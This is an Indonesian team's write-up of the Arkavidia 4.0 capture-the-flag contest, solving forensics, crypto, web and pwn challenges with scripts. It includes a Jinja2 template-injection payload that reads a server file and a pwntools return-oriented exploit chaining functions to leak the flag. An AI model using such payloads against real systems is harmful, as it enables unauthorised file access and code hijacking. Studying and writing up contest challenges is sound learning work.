

Writeup Arkavidia 4.0



Tribute to All CTF Players



Daftar Isi

| | |
|---------------------------|-----------|
| Forensics | 3 |
| Baby Shark(10 pts) | 3 |
| Solusi | 3 |
| Flag | 3 |
| Biggie Shortie(50 pts) | 4 |
| Solusi | 4 |
| Flag | 5 |
| Web | 5 |
| Searchin' D' Web(100 pts) | 5 |
| Solusi | 5 |
| Flag | 6 |
| Misc | 6 |
| Free Flag(1 pts) | 6 |
| Solusi | 6 |
| Flag | 6 |
| The Dock(15 pts) | 6 |
| Solusi | 6 |
| Flag | 6 |
| Crypto | 7 |
| Simple Crypto (50 pts) | 7 |
| Solusi | 7 |
| Flag | 8 |
| RSA (150 pts) | 8 |
| Solusi | 8 |
| Flag | 10 |
| Pwn | 10 |
| Awesome (150 pts) | 10 |
| Solusi | 10 |
| Flag | 13 |

Forensics

Baby Shark(10 pts)

babies are always so cute

<https://drive.google.com/open?id=1mAAgmyO85pdOzvl7exO7qQfnB4ICVkJ>

Solusi

Kami mendapat file .jpg lalu membukanya dan mendapat:



Dan jika dilihat di informasi file tersebut, didapat:

baby_shark.jpg: JPEG image data, JFIF standard 1.01, resolution (DPI), density 96x96, segment length 16, Exif Standard: [TIFF image data, big-endian, direntries=3], comment: "Arkav4{baby_shark_", baseline, precision 8, 1280x720, frames 3

Sudah dapat sepotong flagnya, kami lalu exif file tersebut dan dapat:

XP Comment | d0_do_Do_D0_d0dO0}

Dan didapatlah flagnya

Flag

Arkav4{baby_shark_d0_do_Do_D0_d0dO0}

Biggie Shortie(50 pts)

Are you sure it is just a BIG NUMBER???

https://drive.google.com/open?id=18toOL93DjY5kTRxdIA_TahQ4pjuX2ii8

Solusi

Setelah kita mendapat file tersebut, kita mendapat text yang isinya angka yang banyak. Dan ada 27000 angka, dan terlihat jika 300×300 jadi 27000. Jadi kita anggap gambar dan membuat scriptnya dan menjalankannya:

```
fi = open("flag","rb")
ou = fi.read()
li = ou.split(" ")

print len(li)

it = 0
from PIL import Image

im = Image.new("RGB", (300, 300))
pix = im.load()
for x in range(300):
    for y in range(300):
        pix[x,y] = (int(li[it]),int(li[it+1]),int(li[it+2]))
        it = it+3

im.save("test.png", "PNG")
```

Dan jadilah gambar:



Flag

Arkav4{im463_is_FUN}

Web

Searchin' D' Web(100 pts)

<http://ctf.arkavidia.id:30001>

Solusi

Jika dibuka URL tersebut, terdapat text;

**You searched for nothing. Try appending ?query= in above URL to search
Here is your result []**

Jika kita input dengan text biasa, misal “a”, akan keluar list.

Dan jika kita lihat pada header web tersebut, kita bisa mengidentifikasi bahwa berbasis python. Maka kami coba “{}”, dan ternyata Internal server error. Lalu kami masukkan payload

```
{{%27%27.__class__.__mro__[2].__subclasses__()[40](%27flag%27).read()}}
```

Dan keluarlah flagnya

Flag

Arkav4{s5tl_4_da_re4l_fl4g}

Misc

Free Flag(1 pts)

Here is free flag for you! <3 <3

Arkav4{fr33_fl4g}

Solusi

Untuk soal ini, kami mencoba memasukkan contoh flag di soal ke input, dan ternyata correct

Flag

Arkav4{fr33_fl4g}

The Dock(15 pts)

<https://drive.google.com/open?id=1Xhr8EZpx9dfM86u0qZJwGpFjRZFr-Erc>

Solusi

Untuk soal ini, kami mengujungi link tersebut dan mendownload file tersebut.

Setelah itu, kami mengextract file dan banyak terdapat file

Lalu kami lihat-lihat file dan menemukan sebuah file layer, kami extract dan ada file yang bernama "flag". Kami curiga tentang file "flag" dan setelah buka, terdapat flagnya

Flag

Arkav4{dock3r_1s_l33T}

Crypto

Simple Crypto (50 pts)

5173572d6f5b785771400a5b7b4b752a6d09447f6a526d441f6e380f592f0345

https://drive.google.com/open?id=1u1GBrHI2pE2UzoRI32PB40BMSyhT_gW8

Solusi

Soal ini sama persis dengan soal yang ada di penyisihan [Tokyo Westerns CTF 3rd 2017](#) [here](#)

```
def decrypt(key, message):
    decrypted = ''
    for i in range(len(message) - 1, 0, -1):
        decrypted += chr(
            (ord(message[ i ]) -
             ord(key[ (i-1) % len(key) ]) -
             ord(message[ i - 1 ])) % 128)
    return decrypted[::-1]

def bruteKeyChar(num, message, key):
    key_num = num % len(key)
    if key_num in range(0, 6):
        x = (ord(message[num + 1]) -
             ord(message[num]) -
             ord('Arkav4'[key_num])) % 128
        return chr(x), x
    for i in range(0, 128):
        key[key_num] = chr(i % 128)
        decrypted = decrypt(''.join(key), message)
        if decrypted[len(decrypted) - len(key) + key_num] ==
key[key_num]:
            print decrypted, key
            return key[key_num], i
    raise Exception('Not found!')

def main():
    encrypted =
"5173572d6f5b785771400a5b7b4b752a6d09447f6a526d441f6e380f592f0345".de
code('hex')
    print list(encrypted)
    new_key = ['A'] * 9
    for i in range(0, len(new_key)):
        try:
            new_key[i] = bruteKeyChar(i, encrypted, new_key)[0]
```

```

        print 'char: %2c %5d key_num: %d' % (new_key[i],
ord(new_key[i]), i % len(new_key))
    except Exception:
        print 'not found char ', i
    print decrypt(''.join(new_key), encrypted)

if __name__ == "__main__":
    main()

```

```

$ python solvercryptol.py
['Q', 's', 'W', '-', 'o', '[', 'x', 'W', 'q', '@', '\n', '[',
'{', 'K', 'u', '*', 'm', '\t', 'D', '\x7f', 'j', 'R', 'm', 'D',
'\x1f', 'n', '8', '\x0f', 'Y', '/', '\x03', 'E']
char:  a   97 key_num: 0
char:  r  114 key_num: 1
char:  k  107 key_num: 2
char:  a   97 key_num: 3
char:  v  118 key_num: 4
char:  i  105 key_num: 5
Arkav4{Yi_5o4L_zZy}:ark      idia ['a', 'r', 'k', 'a', 'v', 'i',
'd', 'A', 'A']
char:  d  100 key_num: 6
Arkav4{li_5o4L_3zZy}:arkaidia ['a', 'r', 'k', 'a', 'v', 'i', 'd',
'i', 'A']
char:  i  105 key_num: 7
Arkav4{lni_5o4L_3ZZy}:arkavidia ['a', 'r', 'k', 'a', 'v', 'i',
'd', 'i', 'a']
char:  a   97 key_num: 8
Arkav4{lni_5o4L_3ZZy}:arkavidia

```

Flag

Arkav4{lni_5o4L_3ZZy}

RSA (150 pts)

Solusi

```

$ nc ctf.arkavidia.id 30004
hello, RSA breaker!
solve 'm' 10 times and get the flag!

menu:
1. get flag

```



```
2. show source code
3. exit
your choice:
```

Kita disuruh memilih menu yang ada, ketika kita pilih angka 1, maka yang muncul adalah

```
n =
37457609609840366655803414577043786055335887772224872437614365411
86149755512331779240163322649667180332096897059724977469663853175
21929309641551229106296885506334602289558544368795154254401159373
58676614237285387228316573908271075775382398972561091299240418335
08230956352441287602254064798870252109964171641227212292102446889
10544125323607281894479340040782974871922684174456033340368872144
78998824205553929500375744282634675937503074194184407600170542639
07615367431796973175452022302002055565620593853046557654255744578
28752946108171114280672539865882877195385760261824485214489724056
98565291327481573152636521681497
e = 65537
c =
15797404302030715999605536613870615812344652784636005699922623882
49903843655514333672690872507509547217602626958913535027557342988
05944486805800203826894645832163408677605507513044360762097073335
76588211182360330816614382560274066800854573195880068278672468147
88665756897552387874728975613004721602989443009337784432190182350
63679049926756730307020664830875983309012611302585918357321301030
88649178180884194680955642480146048246288928202965346487809343642
73559524417806886103152689397130558048842260595616046174677423807
83819990800125267847692780852246804168502383837964213052365139785
1251385074340576267318572961268
m =
```

Dan disuruh menjawab hasil m, kami membuat script sederhana untuk menyelesaikan semua soal secara otomatis

```
#!/usr/bin/env python
import gmpy2
from pwn import *
from Crypto.Util.number import inverse

def fermat_factor(n):
    assert n % 2 != 0

    a = gmpy2.isqrt(n)
    b2 = gmpy2.square(a) - n

    while not gmpy2.is_square(b2):
        a += 1
        b2 = gmpy2.square(a) - n
```

```

p = a + gmpy2.isqrt(b2)
q = a - gmpy2.isqrt(b2)

return int(p), int(q)

if __name__ == "__main__":
    z = remote("ctf.arkavidia.id", 30004)
    print z.recvuntil("your choice:")
    z.sendline("1")
    print z.recvline()
    for i in range(10):
        print z.recvline()
        print z.recvline()
        N = int(z.recvline().split()[2])
        e = int(z.recvline().split()[2])
        c = int(z.recvline().split()[2])
        (p, q) = fermat_factor(N)
        phi = (p-1) * (q-1)
        d = inverse(e, phi)
        jawban = pow(c, d, N)
        print z.recvuntil("=")
        z.sendline(str(jawban))
    print z.recv()
    print z.recv()

```

Flag

Arkav4{pasangan_yang_dekat_belum_tentu_baik}

Pwn

Awesome (150 pts)

nc ctf.arkavidia.id 30002

Solusi

Diberikan sebuah service yang hanya meminta inputan sekali, lalu program selesai. Berikut potongan fungsi painting.

```

int painting()
{
    int result; // eax@2
    char s1; // [sp+0h] [bp-18h]@1

    *(_DWORD *)&file_name = 'ehh';
    byte_804A084 = 0;

```

```

read_file();
printf("%s", "Input: ");
read_string(&s1);
if ( !strcmp(&s1, "Yes\n") )
{
    result = puts("Great! You are indeed awesome!");
}
else if ( !strcmp(&s1, "Maybe\n") )
{
    result = puts("Maybe? You are DEFINITELY awesome!");
}
else
{
    if ( strcmp(&s1, "No\n") )
    {
        puts("Segmentation fault (core dumped)");
        exit(0);
    }
    result = puts("You are not awesome, you are AWESOME!");
}
return result;
}

```

Fungsi `read_string()` ini akan meminta input kita terus sampai dengan newline. Dan jika kita memasukkan null, akan diubah menjadi newline (hasil observasi di debugger). Terdapat fungsi `read_file()` yang membaca isi file dan menampilkannya. Tapi, secara default, nama filenya 'hehe'.

Ada beberapa fungsi menarik yaitu 'ge', 't_', 'fl', dan 'ag' yang mengubah nama file menjadi 'flag'. Menarik. Karena tidak ada canary, maka kita bisa arahkan ke fungsi - fungsi tersebut. Namun, terdapat beberapa syarat untuk fungsi - fungsi tersebut.

- Fungsi 'ge' menerima argumen karakter ASCII genap.
- Fungsi 't_' menerima argumen karakter ASCII yang habis dibagi 3.
- Fungsi 'fl' menerima argumen karakter ASCII yang habis dibagi 5.
- Fungsi 'ag' menerima argumen karakter ASCII yang habis dibagi 7.

Untuk fungsi 'ge', 't_', dan 'fl', dapat digunakan karakter 'x' yang memenuhi. Sementara untuk fungsi 'ag' dapat digunakan karakter 'b' yang memenuhi. Untuk merangkai (chain) fungsi - fungsi tersebut, kita dapat melihat referensi dari

<https://www.youtube.com/watch?v=5FJxC59hMRY>

Berikut script sederhana yang dibuat.

```

#!/usr/bin/env python

from pwn import *
import sys

```

```

if 1:
    a = remote('ctf.arkavidia.id', 30002)
    # a = process('./awesome')
    if len(sys.argv) == 2:
        gdb.attach(a, 'b *0x080487E5')

    a.recvuntil('Input:')
    pop_ebx = 0x0804843d

    p = 'Yes\x00'
    p += 'a'*(0x18 - 5)
    p += 'a'*4

    p += p32(0x0804860B) # ge
    p += p32(pop_ebx)
    p += 'xxxx'

    p += p32(0x0804862F) # t_
    p += p32(pop_ebx)
    p += 'xxxx'

    p += p32(0x0804866C) # fl
    p += p32(pop_ebx)
    p += 'xxxx'

    p += p32(0x080486AC) # ag
    p += p32(pop_ebx)
    p += 'bbbb'

    p += p32(0x080486F2) # read_file

    a.sendline(p)

    a.interactive()

```

Jalankan, dan didapatkan flag.

```

➤ python awesome.py
[+] Opening connection to ctf.arkavidia.id on port 30002: Done
[*] Switching to interactive mode
Great! You are indeed awesome!
Arkav4{1_kn0w_u_R_4wsom3!}

```

Flag

Arkav4{1_kn0w_u_R_4wsom3!}

